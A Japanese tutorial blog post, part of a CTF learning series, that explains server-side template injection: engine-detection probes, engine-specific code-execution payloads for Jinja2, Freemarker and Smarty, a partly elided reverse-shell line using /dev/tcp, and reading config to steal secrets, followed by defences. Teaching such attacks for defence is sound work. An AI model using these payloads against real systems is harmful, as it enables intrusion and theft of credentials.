【SSTI編】テンプレートに混ざる悪意とRCEへの道|CTF思考フレームワーク #14
📖 この記事はシリーズの一部です
「CTF思考フレームワーク」 Web脆弱性編 #14 / 公開中 10記事 → シリーズ一覧を見る →
SSTI(サーバサイドテンプレートインジェクション)は、メール本文や設定画面など「テンプレートエンジンを使った入力欄」で発生する高威力の脆弱性。フロントのXSSと違って、サーバ側で任意コード実行に直結することもあります🐍
Jinja2、Twig、Smarty、Freemarker…テンプレートエンジンの種類を知ることが、SSTI攻防の第一歩です。
テンプレートエンジンに混入する制御構文。決まると一発でRCEに化けます🎯

SSTIはテンプレートエンジン特有の構文を悪用してサーバ側でコード実行する攻撃だよ💥
難易度:★★★(中級) / 所要:10〜12分 / 前提:CTF思考フレームワーク #13
👀 観察フェーズ:まず何を見る?

まずは{{7*7}}を入れて49が表示されるかを確認!これが基本の一手🔍
ユーザーが「文字列+変数」を編集できる場所はSSTIの温床。特に管理者だけが触れる機能でも、IDOR等で一般ユーザーがアクセスできれば致命傷です。

入力した式が評価されてる時点でRCEまで一直線なんだね…💀
🤔 仮説フェーズ:攻撃者は何を考える?

SSTIの典型はエンジン別の構文。
攻撃者の仮説。
🐍 仮説①:Jinja2 / Twig
{{7*7}}→49なら確定。{{config.__class__.__init__.__globals__}}からPythonオブジェクトを辿ってRCE。
☕ 仮説②:Freemarker / Velocity
Java系で${"a"+"b"}→ab、<#assign ex="freemarker.template.utility.Execute"?new()>で任意コマンド実行。
⚡ 仮説③:Smarty / PHP
{php}system($_GET["cmd"]);{/php}や{$smarty.template_object->...}でPHPコードを直接実行。
🌐 仮説④:ERB / Liquid / Handlebars
Ruby系の<%= 7*7 %>、system()呼び出しなど、エンジン固有の脱出経路を辿る。
SSTIは「エンジン特定→ペイロード」の二段階。49やAAAAAみたいな小さな探りから始めるのが鉄則です。

エンジン特定→ペイロード選択っていう2段階の発想が大事なんだね🧠
🔬 検証フェーズ:どうやって確かめる?

{{7*7}}、${7*7}、<%= 7*7 %>を順に試してどのエンジン構文が反応するか確定!
検証ステップ。

tplmapやSSTImapみたいな専用ツールもあるんだね🧪
⚔️ 攻撃フェーズ:実際の手口

SSTI攻撃の主軸はこの3つ。
代表的な攻撃シナリオ。
Jinja2のautoescape/sandboxを__class__連鎖で抜けてos.popen等にたどり着く古典的経路。
{{...os.system("bash -i >& /dev/tcp/...")}}でリバースシェル取得。サーバを掌握。
RCEまで行かなくてもconfigやenvを表示するだけでDB認証情報・APIキーを盗める。
CTF{ssti_to_rce_via_python_mro_chain}
SSTIはXSSの上位互換。サーバ側で動く分、被害が桁違いです。
🛡️ 防御フェーズ:どう守る?

SSTI対策の3レイヤーはこれ!🛡️
SSTI対策の3点。
最大の鉄則。テンプレ文字列にユーザー入力を混ぜず、変数として渡す(autoescape ON)。
Jinja2ならSandboxedEnvironment、TwigならTwig\\Sandbox\\SecurityPolicyで許可関数のみ実行。
Webアプリプロセスを非rootユーザー&ファイルシステム制限で動かして、RCE時の被害を最小化。

「テンプレに入力を流さない」だけで大半は防げるんだね💪
🛡️ 今日からできる対策ツール
パスワードの使い回しや手動管理はどんなに気をつけても限界があります。🔑 パスワード管理ツール「ワンパス」なら、複雑なパスワードを安全に保管して「1つのマスターパスワード」だけ覚えられるので、今日から始める防御策としてしっくりきます。
※ 上記は他社サービスへのリンクです。購入は各自でご判断ください。
⚠️ よくある落とし穴
よくあるミス。
- render_template_string(f”Hi {user_input}”) のようにユーザー入力を含む文字列を直接テンプレート化。
- 管理画面の「メール本文編集」を「管理者だけが触れるから安全」と思い込む。
- XSSサニタイズはしてるけどテンプレート構文({{ }})はそのまま通す。
- サンドボックスを「導入したつもり」で、実は通常のEnvironmentを使ってる。
- エラー画面に詳細スタックトレースを出して、エンジン情報を晒す。
- シークレットを環境変数で持ち、テンプレートからconfig経由で読めてしまう。
🧰 ツール早見表
使う道具。
| ツール | 用途 | ひと言 |
|---|---|---|
| tplmap | SSTI自動検出・エクスプロイト | 対応エンジン多数、まず試す価値あり |
| PortSwigger SSTI Detection chart | エンジン特定フロー | 手動検出のバイブル |
| Burp Suite | リクエスト改ざん | ペイロード適用の基本 |
| HackTricks SSTI Cheatsheet | エンジン別ペイロード集 | チートシートとして優秀 |
🎓 本気で学びたい人へ
Webセキュリティを「趣味」から「仕事」に変えたい方へ。🎓 ササエルはインフラエンジニアに特化したオンラインスクールで、セキュリティ設計の基礎から体系的に学べます。
📚 もっと深く学びたい人へ
体系的に攻撃と防御の両面を学びたいなら『ホワイトハッカー入門 第2版』が分かりやすい入口です📚
⚖️ 大事なお約束
この記事の手法は、必ず自分の環境か、許可されたCTF・脆弱性報奨金プログラム(HackerOne、Bugcrowd等)で試してください。他人のサービスに無断で攻撃を仕掛けるのは不正アクセス禁止法違反、立派な犯罪です。学んだ知識は守る側で活かしましょう🤝
📚 次に読みたい
- ビジネスロジック編|CTF思考フレームワーク #13
- デシリアライズ編|CTF思考フレームワーク #15
- レースコンディション編|CTF思考フレームワーク #12
- コマンドインジェクション編|CTF思考フレームワーク #16
🧪 自分で検証してみる
「自分でWordPressサイトを立てて、ログイン畫面のセキュリティを実際に試してみたい」なら、まずは安価で高速なConoHa WINGから。初期費用無料で始められます。



